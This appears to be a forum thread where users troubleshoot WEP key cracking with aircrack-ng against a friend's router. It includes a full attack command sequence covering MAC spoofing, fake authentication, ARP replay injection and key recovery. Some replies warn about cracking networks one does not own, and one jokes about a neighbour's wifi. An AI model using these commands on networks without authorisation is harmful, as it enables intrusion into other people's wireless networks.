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    Default Sends Assosiation request - no assosiation :(

    hello,

    i am confused over this one, i have managed to break my homehub without any difficulty, however, when i was trying to emulate this at my friends house when i send the "aireplay-ng -0 1" etc i get the authenticaton and assosiation requests sent, however, i cannot get association. Therefore, is there anypoint using the aireplay-ng -3 attack to capture ARPs?
    I don't understand it, i'm right next to the router yet no assosiation my method works just not here.

    Thanks

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    Quote Originally Posted by Apollo217 View Post
    hello,

    i am confused over this one, i have managed to break my homehub without any difficulty, however, when i was trying to emulate this at my friends house when i send the "aireplay-ng -0 1" etc i get the authenticaton and assosiation requests sent, however, i cannot get association. Therefore, is there anypoint using the aireplay-ng -3 attack to capture ARPs?
    I don't understand it, i'm right next to the router yet no assosiation my method works just not here.

    Thanks
    Without specifics on the setup/equipment/methods it would be impossible to say.

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    Well, I am using a Toshiba Sat Pro A100 with a Orinoco gold 8470-wd and what is an older version of BT (as for some reason the newer ones detect my card but i cannot detect APs)

    The commands are fairly basic:
    let's call my router "homehub" and its bssid 22:33:44:55:44:33 on channel 11

    airmon-ng stop ath0
    ifconfig wifi0 down
    macchanger --mac 00:11:22:33:44:55 wifi0
    airmon-ng start wifi0

    airodump-ng ath0
    Ctrl + C (so i can copy the AP)

    aireplay-ng -1 0 -e homehub -a 22:33:44:55:44:33 -h 00:11:22:33:44:55 ath0

    this is where i usually get assosication, however with my friends Linksys WRT54GL (UK) doesn't give association.

    airodump-ng -w homehub -c 11 ath0

    aireplay-ng -3 -x 100 -n 100000 -b 22:33:44:55:44:33 -h 00:11:22:33:44:55 ath0

    once i get enough AP's IV's whatever:

    aircrack-ng -n 128 homehub-01.cap

    Done

    That method worked fine on my router, any ideas?
    sorry about the lack of info previously

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    "That method worked fine on my router, any ideas?
    sorry about the lack of info previously"

    so this one is not yours ? if so .... dash off !! READ FORUM RULES.....DO NOT POST ON CRACKING NETS THAT DON'T BELONG TO YOU......
    Watch your back, your packetz will belong to me soon... xD

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    Is the expressed consent of the router's owner unacceptable then? Although it may appear that i am attempting to crack someone elses router, I assure you this is genuine and the owner of the router in question is in fact beside me. I know better than to break the forum rules. If you are not satisifed with that I can give you all of the relevant serial numbers, stuff you can't find by cracking it. Do you have anything useful to add?

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    on the aircrack site there is a tutuorial for clientless wep cracking. in it there is a set of commands for picky access points. Futhermore it also says "Tough Shit" sometimes the attack won't work. Gee, I hope that was usefull.

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    not exactly what I wanted to hear, but thanks anyway.

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    had the same prob. solved with the help of a big antenna and a strong wifi-card... remember that you have to reach the access point! this is not allways possible even if you can catch the packets :-) after that i had success with the mentioned video-tutorial...

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    That shouldn't be a issue since he has permision and is right next to it.

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    Quote Originally Posted by fsormok View Post
    had the same prob. solved with the help of a big antenna and a strong wifi-card... remember that you have to reach the access point! this is not allways possible even if you can catch the packets :-) after that i had success with the mentioned video-tutorial...
    How fast is your connection to your neighbors wifi from your location?



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